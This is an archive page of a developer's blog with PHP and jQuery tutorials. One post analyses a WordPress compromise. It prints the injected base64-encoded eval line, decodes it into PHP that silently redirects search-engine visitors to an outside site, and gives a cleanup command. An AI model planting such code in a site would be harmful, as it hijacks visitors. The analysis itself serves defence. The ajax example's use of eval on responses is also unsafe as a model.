Author Archives: Garry Lachman (Admin)

Anonymous functions now available from PHP 5.3

Written by Garry Lachman (Admin). Filed under News, PHP + mySQL. Tagged , , , , , , , , , , , . .

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callback parameters, but they have many other uses.

Example:

1
2
3
4
$myName = function($name)
{
    echo "My name is $name";
};

Or you can use it as callback like javascript

1
2
3
4
5
6
7
8
9
10
11
12
$arr = array(
    "first_name" => "Garry",
    "last_name" => "Lachman",
    "age" => "27"
);

$callback_function = function ($field, $field_value)
{
    echo "$field = $field_value";
};
       
array_walk($arr, $callback_function);

Using variables out function scope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$prefix = "*)";

$arr = array(
    "first_name" => "Garry",
    "last_name" => "Lachman",
    "age" => "27"
);

$callback_function = function ($field, $field_value) use ($prefix)
{
    echo "$prefix $field = $field_value";
};
       
array_walk($arr, $callback_function);

Have fun boys & girls :)

Share

My blog has a new home

Written by Garry Lachman (Admin). Filed under Flex. .

After a long time that my blog suffered from a slow and down times at GoDaddy.
I`m happy to announce that we found new home at XLHost.

Sooo…
We Are Back !!!

Share

jQuery Communicator Singleton (Manage & Cache ajax requests)

Written by Garry Lachman (Admin). Filed under JavaScript, jQuery. Tagged , , , , , , , , , , , , , . .

Hey,
I wrote this class for cache ajax request if the same request sent twice.
The second reason why i use this class is a like there is only one exit point
from the application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
var Communicator =(function(){
    var instantiated;
    var retry = new Array();
    var cached_data = new Array();

    function init (){
        return {
            dispatch:function(url, callback){
                var self = this;
                if (Communicator.getInstance().cached_data[url])    {
                    callback(Communicator.getInstance().cached_data[url]);
                    return;
                }
                if (!retry[url])    {
                    retry[url] = 0;
                }
                var _rq = $.ajax({
                    url: url,
                    timeout: 30000,
                    success: function(_data){
                        Communicator.getInstance().cached_data[url] = _data;
                        callback(_data);
                    },
                    error: function(){
                        if (retry[url] < 3) {
                            retry[url]++;
                            dispatch(url, callback, retry[url]);
                        }   else    {
                            callback("");  
                        }
                    }
                });
            },
            cached_data: {}
        }
    }

    return {
        getInstance :function(){
            if (!instantiated){
                instantiated = init();
            }
            return instantiated;
        }
    }
})()

Using the class

1
2
3
4
5
6
7
8
9
10
11
12
Communicator.getInstance().dispatch(url,function(data){
    var error = false;
    try {
            data = eval("("+data+")");
    } catch(err)    {
        error = true;
    }

    if (!error)    {
        console.log(data);
    }                    
});

Have fun :)
Garry

Share

JS: Prevent IE crash when using console (console.log)

Written by Garry Lachman (Admin). Filed under JavaScript. Tagged , , , , , , , , , , , . .

When the console is close and we call console.log from javascript most of the times
Internet Explorer will crash with the message:
Error: ‘console’ is undefined

Here is my solution for this annoying bug.

1
2
3
4
5
6
7
if (typeof console == 'undefined')   {
    var console = new Object();
    console.log = function(){}
    console.error = function(){}
    console.debug = function(){}
    console.warn = function(){}
}

Thanks “brucebannor” for advice.

Have fun :)
Garry Lachman

Share

jQuery Plugin Template

Written by Garry Lachman (Admin). Filed under JavaScript, jQuery. Tagged , , , , , , . .

Hey,
I want to share some template that i usually use for starting new jQuery Plugin.
its base template that contains public methods, private methods, settings and custom events.

And here it come..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
    (c) By Garry Lachman (http://www.garry-lachman.com), GPL License
*/


var PluginCustomEvents = {
    EVENT: "myPluginCustomEvent"
};

(function($) {
    var plugin = this;

    $.fn.pluginTemplate = function(method) {
        var methods = {
            init : function(options) {
                this.pluginTemplate.settings = $.extend({}, this.pluginTemplate.defaults, options);
                return this.each(function() {
                    var $self = $(this);
                    var self = this;
                       
                });
            }
        };

        var privateMethods = {
            privateMethod: function(){

            }
        };

        if (methods[method]) {
            return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
        } else if (typeof method === 'object' || !method) {
            return methods.init.apply(this, arguments);
        } else {
            console.error("No Method: " + method);
        }
    }

    $.fn.pluginTemplate.defaults = {
        defaultProperty: "defaultValue"
    };

    $.fn.pluginTemplate.settings = {};


})(jQuery);

Init plugin:

1
2
3
4
5
6
$("#target").pluginTemplate(); // rename it to your plugin name

// init with settings
$("#target").pluginTemplate({
    property1: "value"
});

Call public methods:

1
$("#target").pluginTemplate("method_name", "parameters");

Call private methods (inside the plugin):

1
privateMethods.privateMethod.call(this, parameters ...);

Have Fun ;)
Garry Lachman

Share

Virus i found in WordPress and my fast fix solution

Written by Garry Lachman (Admin). Filed under Developer Tools. Tagged , , , , , . .

After my firend WordPress has been hacked – all work ok but he got
Virus warning from Google.
I search footprint in the code and i found this line repeat in all theme files:

1
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

Its base64 encoded php code that executes with eval function, after decoding that i got

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://froling.bee.pl/");
exit();}}}}

The Solution for cleanup the code – LINUX ONLY !!!
Download all php files to local machine and run this command, if you base63 code is different
than change it

1
rpl -x'.php' -Rf "eval(base64_decode(\"DQplcn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W9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9\"));" "" *

Have Fun

Share

jQuery Simple Popup Rect Window

Written by Garry Lachman (Admin). Filed under jQuery. Tagged , , , , , , , , , , , . .

Hi,
I wrote a light and simple popup rect window with auto resize mode and buttons.

Popup Options

  • width, height = size of window
  • top, left = position in px set 0 set center
  • send_button = show send button
  • send_button_caption = send button caption
  • send_button_disabled = disbale send button
  • cancel_button = show cancel button
  • cancel_button_caption = disable cancel button

Popup Public Methods

  • enable_auto_resize = enable auto resize mode by content, for auto resize use Ben Alman jQuery resize
    event plugin from here: http://benalman.com/projects/jquery-resize-plugin/
  • change_height = change height (height in px, is using transcation)
  • set_content = send html content
  • get_content = get content rect
  • disbaled = disable and enable popup
  • send_button_disabled = disable and enable send button
  • add_click_event = add event to send and cancel buttons
  • close = close window

jquery.popup_rect.js file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
/*
(c) By Garry Lachman (http://www.garry-lachman.com), GPL License

Options:
* width, height = size of window
* top, left = position in px set 0 set center
* send_button = show send button
* send_button_caption = send button caption
* send_button_disabled = disbale send button
* cancel_button = show cancel button
* cancel_button_caption = disable cancel button

Methods
* enable_auto_resize = enable auto resize mode by content, for auto resize use Ben Alman jQuery resize
event plugin from here: http://benalman.com/projects/jquery-resize-plugin/
* change_height = change height (height in px, is using transcation)
* set_content = send html content
* get_content = get content rect
* disbaled = disable and enable popup
* send_button_disabled = disbale and enable send button
* add_click_event = add event to send and cancel buttons
* close = close window

*/


if (typeof Object.create !== 'function') {
    Object.create = function (o) {
        function F() {}
        F.prototype = o;
        return new F();
    };
}

var popup_rect = {
    init: function(options, elem)   {
        this.options = $.extend(true,{}, this.options, options);
       
        this.elem = elem;
        this.$elem = $(elem);

        this._build();
    },
    options:    {
        width: 100,
        height: 100,
        top: 0,
        left: 0,
        send_button: true,
        send_button_caption: "Save",
        send_button_disabled: false,
        cancel_button: true,
        cancel_button_caption: "Cancel"
    },
    _build: function()  {
        var _this = this;
        this.$elem.hide();
        this.$elem.addClass("popup_rect");
        this.$elem.css({width: this.options.width,
                height: this.options.height,
                top: this.options.top,
                left: this.options.left-this.options.width});

        this.$elem.append("<div id='popup_content' class='popup_rect_content'></div>");
        this.$elem.append("<div class='popup_rect_buttons'></div>");

        if (this.options.send_button)   {
            this.$elem.find(".popup_rect_buttons").append("<div id='popup_rect_send_button' class='popup_rect_button'>"+this.options.send_button_caption+"</div>");
        }
        if (this.options.cancel_button)   {
                        this.$elem.find(".popup_rect_buttons").append("<div id='popup_rect_cancel_button' class='popup_rect_button'>"+this.options.cancel_button_caption+"</div>");
                }

        this.$elem.find(".popup_rect_buttons").children().addClass("hand_cursor");
    },
    change_height: function(_h, _no_fx) {
        var _this = this;
        if (_no_fx) {
            this.$elem.height(_h);
            if (_this.options.top ==0 && _this.options.left == 0)       {
                _this.$elem.center({transition: 100});
            }
        }   else    {
            this.$elem.animate({
                height: _h
            }, 500, function(){
                if (_this.options.top ==0 && _this.options.left == 0)       {
                                _this.$elem.center({transition: 100});
                        }  
            });
        }
    },
    enable_auto_resize: function()  {
        var _this = this;
        this.$elem.find("#popup_content").resize(function(_event){
            _this.change_height(_event.target.clientHeight + 15 + _this.$elem.find(".popup_rect_buttons").height(),true);
        });
    },
    set_content: function(_content) {
        this.$elem.find("#popup_content").html(_content);
        this.$elem.show();
    },
    get_content: function() {
        return this.$elem.find("#popup_content");
    },
    add_click_event: function(_button, _function)   {
        var self = this;
        switch (_button)    {
            case "send":
                this.$elem.find(".popup_rect_buttons").find("#popup_rect_send_button").click(function(){
                    if (!self.options.send_button_disabled) {
                        _function();
                    }
                });
            break;

            case "cancel":
                                this.$elem.find(".popup_rect_buttons").find("#popup_rect_cancel_button").click(_function);
                        break;
        }
    },
    show_rect: function()   {
        this.$elem.show();
        if (this.options.top ==0 && this.options.left == 0)       {
                        this.$elem.center({transition: 100});
                }
    },
    disbaled: function (is_disbaled)    {
        if (is_disbaled)    {
            this.$elem.prepend("<div class='popup_rect_disbaled'></div>");
            this.$elem.find(".popup_rect_disbaled").css({width: this.options.width,
                                    height: this.options.height});
        }   else    {
            this.$elem.find(".popup_rect_disbaled").remove();
        }
    },
    send_button_disabled: function(is_disbaled) {
        this.options.send_button_disabled = is_disbaled;
        var fadeVal = is_disbaled ? 0.5 : 1;
        this.$elem.find(".popup_rect_buttons").find("#popup_rect_send_button").fadeTo('slow', fadeVal);
       
    },
    close: function(_this)  {
        _this = _this ? _this : this;
        _this.$elem.fadeOut('fast', function(){
                        $(_this).empty();
                });
    }

};

$.fn.extend({
  center: function (options) {  
       var options =  $.extend({ // Default values
            inside:window, // element, center into window
            transition: 0, // millisecond, transition time
            minX:0, // pixel, minimum left element value
            minY:0, // pixel, minimum top element value
            withScrolling:true, // booleen, take care of the scrollbar (scrollTop)
            vertical:true, // booleen, center vertical
            horizontal:true // booleen, center horizontal
       }, options);
       return this.each(function() {
            var props = {position:'absolute'};
            if (options.vertical) {
                 var top = ($(options.inside).height() - $(this).outerHeight()) / 2;
                 if (options.withScrolling) top += $(options.inside).scrollTop() || 0;
                 top = (top > options.minY ? top : options.minY);
                 $.extend(props, {top: top+'px'});
            }
               
            if (options.horizontal) {
                  var left = ($(options.inside).width() - $(this).outerWidth()) / 2;
                  if (options.withScrolling) left += $(options.inside).scrollLeft() || 0;
                  left = (left > options.minX ? left : options.minX);
                  $.extend(props, {left: left+'px'});
            }
            if (options.transition > 0) {
            $(this).animate(props, options.transition);
        } else {
            $(this).css(props);
        }
            return $(this);
               
       });     
  }
});

jquery.popup_rect.css file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.popup_rect {
    background-color: #f7f7f7;
    border: 2px solid #949494;
    border-radius: 5px;
    position: absolute;
    z-index: 999999;
}
.popup_rect_content {
    padding: 20px;
}
.popup_rect_buttons {
    padding: 20px;
    position: absolute;
    bottom: 0px;
    right: 0px;
}
.popup_rect_button  {
    float: right;
    margin-left: 15px;
    border-radius: 5px;
    color: #000;
    font-weight: bold;
    padding-top: 2px; padding-bottom: 2px; padding-left: 5px; padding-right: 5px;
}

.popup_rect_disbaled    {
    position: absolute;
    background-color: white;
    z-index: 999;
    opacity: 0.6;
    filter: alpha(opacity=60);
}

test.html file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script type"text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="jquery.popup_rect.js"></script>
<link href="jquery.popup_rect.css" rel="stylesheet" type="text/css" />

<div id="test_div"></div>

<script>
var rect = Object.create(popup_rect);
rect.init({
    height: 200,
    width: 300
}, $("#test_div"));
rect.get_content().append("<span>The Content</span>");
rect.show_rect();

rect.add_click_event("cancel", function(){
    alert("cancel");
});

rect.add_click_event("send", function(){
    alert("send");
});
</script>

Have fun,
Garry Lachman

Share

Merge CSS files into one file with PHP

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , . .

Hey,
Most of the big websites have many css files and the browser need to load them one by one.
There is a easy solution to merge them to one file using php.

css_loader.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// First of all send css header
header("Content-type: text/css");

// Array of css files
$css = array(
    'main.css',
    'menu.css',
    'content.css'
);

// Loop the css Array
foreach ($css as $css_file) {

    // Load the content of the css file
    $css_content = file_get_contents($css_file);

    // print the css content
    echo $css_content;
}
?>

Not include the CSS Loader file

1
<link href="css_loader.php" rel="stylesheet" type="text/css" />

Now all the CSS files are merged into one file.

Have Fun,
Garry

Share

Develop PHP Facebook Application Locally – Dev Mode

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , . .

Hi,
As you know Facebook doesn’t have develop mode to that allow you to work locally.
But there is way to do it – and its very easy to deployment.

First create 2 applications on Facebook, one for “dev” and one for “production”.
In dev application set you application url to the locally localhost if “127.0.0.1″ like:

http://127.0.0.1/your_app.

The second step is to create two “environments” in your application – “dev mode” and “production mode”.
Create a settings class that check if you work locally and return the Facebook API Key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class ApplicationSettings   {
    private static $facebook_api = array(
        "dev"=>array(
            "key"=>"123",
            "secret"=>"123"    
        ),
        "prod"=>array(
            "key"=>"123",
            "secret"=>"123"    
        )
    );

    public static function get_facebook()   {
        if ($_SERVER['HTTP_HOST'] == "127.0.0.1")   {
            return self::$facebook_api["dev"];
        }
        return self::$facebook_api["prod"];
    }
}
?>

Set your Facebook API Key and Secret to the “dev” and “prod” modes.
Now we will change the way we connection to facebook api to get the
settings from our new class.

1
2
3
4
5
6
7
8
<?php
$facebook_settings = ApplicationSettings::get_facebook();

$facebook = new Facebook(array(
    'appId' => $facebook_settings["key"],
    'secret' => $facebook_settings["secret"],
));
?>

Now every time we connect to Facebook API the settings class will
check our domain and if we work on “127.0.0.1″ its automatically
gets the “dev mode” API that pointed to our local application.

Have Fun ;)
Garry Lachman

Share